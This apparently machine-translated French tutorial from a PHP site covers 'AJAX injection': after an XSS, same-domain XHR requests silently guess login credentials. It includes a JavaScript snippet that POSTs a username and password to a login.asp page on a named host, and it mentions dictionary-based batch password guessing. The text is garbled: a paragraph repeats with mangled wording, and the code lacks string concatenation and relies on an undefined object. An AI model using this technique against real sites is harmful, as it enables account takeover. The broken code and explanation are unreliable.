Cette fois, je vais vous apporter une explication détaillée de l'utilisation de l'injection AJAX. Quelles sont les précautions lors de l'utilisation de l'injection AJAX. Voici des cas pratiques, jetons un coup d'œil.
AJAX peut permettre aux données d'être traitées silencieusement en arrière-plan. S'il existe un moyen de créer votre script JS et ce module AJAX dans le même domaine, vous pouvez utiliser ce XSS pour terminer l'attaque secondaire. , et Vous pouvez juger si le résultat renvoyé est correct ou non en utilisant l'attribut status de l'objet XHR. Le type GET AJAX construit directement les valeurs des paramètres dans l'URL ; le type POST AJAX construit la méthode d'envoi de l'objet XHR.
AJAX peut permettre aux données d'être traitées silencieusement en arrière-plan. S'il existe un moyen de créer votre script JS et ce module AJAX dans le même domaine, vous pouvez utiliser ce XSS pour terminer l'attaque secondaire et vous pouvez en juger par l'état. attribut de l'objet XHR Retourne si le résultat est correct ou non. Le type GET AJAX construit directement les valeurs des paramètres dans l'URL ; le type POST AJAX construit les valeurs des paramètres dans la méthode d'envoi de l'objet XHR.
De manière générale, les attaques utilisant AJAX sont difficiles à détecter par les utilisateurs à moins que nous souhaitions qu'ils les détectent. Le plug-in firebug de Firefox peut analyser toutes les actions XHR :
Comment sécurité détecter les programmes web AJAXmodularisés dans le domaine local ?
Bien qu'AJAX ne puisse pas transférer directement des données entre domaines, vous pouvez transférer des données avec le module AJAX cible dans le domaine local. Faisons une expérience avec ma To Do/Project, le code suivant :
alert(_x)
function check_login(){ var up="up=" escape('余弦') "|" "1234567"; _x.open("POST","http://www.0x37.com/Project/login.asp",true); _x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); _x.onreadystatechange=function() { if(_x.readyState==4) { if(_x.status==200) { alert(_x.responseText); } } } _x.send(up); } check_login(); //logout();
Après avoir soumis ce code en local, il sera connecté au login sur le 0x37 Projet.asp pour communiquer, sa fonction est de deviner le nom d'utilisateur et le mot de passe, et de juger s'ils sont corrects ou non en fonction de la valeur de retour. S'il existe un dictionnaire, vous pouvez deviner les mots de passe par lots. la communication est normale. La valeur malveillante que nous avons construite est injectée dans cette boîte AJAX. Bien entendu, nous pouvons également détecter directement l’URL cible en AJAX. Bien qu'AJAX « cache » de nombreux fichiers côté serveur, cela ne signifie pas que ces fichiers côté serveur sont sûrs et peuvent exposer des problèmes plus graves.
Je pense que vous maîtrisez la méthode après avoir lu le cas dans cet article. Pour des informations plus intéressantes, veuillez prêter attention aux autres articles connexes sur le site Web chinois de php !
Lecture recommandée :
Explication détaillée des étapes permettant à Jquery d'exploiter les tableaux et les objets js
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!